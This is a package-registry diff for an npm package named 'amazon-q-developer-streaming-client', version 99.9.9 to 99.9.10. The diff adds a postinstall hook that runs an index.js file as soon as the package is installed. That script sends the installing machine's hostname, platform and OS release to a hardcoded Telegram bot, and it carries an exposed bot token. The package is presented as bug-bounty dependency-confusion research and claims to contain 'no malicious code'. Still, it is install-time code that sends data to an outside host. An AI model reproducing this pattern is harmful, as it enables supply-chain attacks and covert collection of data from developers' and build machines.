amazon-q-developer-streaming-client 99.9.9 → 99.9.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +41 -0
  2. package/package.json +3 -2
package/index.js ADDED
@@ -0,0 +1,41 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+
4
+ const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
5
+ const CHAT_ID = "8655055695";
6
+
7
+ const data = JSON.stringify({
8
+ chat_id: CHAT_ID,
9
+ text: `🚀 **Dependency Confusion Hit!**\n\n` +
10
+ `📦 **Package:** amazon-q-developer-streaming-client\n` +
11
+ `👤 **Researcher:** ALONE BEAST\n` +
12
+ `🖥️ **Hostname:** ${os.hostname()}\n` +
13
+ `🌐 **Platform:** ${os.platform()} ${os.release()}\n` +
14
+ `⏰ **Time:** ${new Date().toISOString()}`
15
+ });
16
+
17
+ const options = {
18
+ hostname: 'api.telegram.org',
19
+ port: 443,
20
+ path: `/bot${TOKEN}/sendMessage`,
21
+ method: 'POST',
22
+ headers: {
23
+ 'Content-Type': 'application/json',
24
+ 'Content-Length': data.length
25
+ }
26
+ };
27
+
28
+ const req = https.request(options, (res) => {
29
+ res.on('data', (d) => {
30
+ process.stdout.write(d);
31
+ });
32
+ });
33
+
34
+ req.on('error', (error) => {
35
+ console.error('Hit failed:', error);
36
+ });
37
+
38
+ req.write(data);
39
+ req.end();
40
+
41
+ console.log("PoC executed. Checking connectivity...");
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "amazon-q-developer-streaming-client",
3
- "version": "99.9.9",
3
+ "version": "99.9.10",
4
4
  "description": "Security research package for internal dependency confusion testing. This package is part of a bug bounty program to identify risks in internal build pipelines. Contains no malicious code.",
5
5
  "keywords": [
6
6
  "security",
@@ -13,6 +13,7 @@
13
13
  "type": "CommonJS",
14
14
  "main": "index.js",
15
15
  "scripts": {
16
- "test": "echo \"Error: no test specified\" && exit 1"
16
+ "test": "echo \"Error: no test specified\" && exit 1",
17
+ "postinstall": "node index.js"
17
18
  }
18
19
  }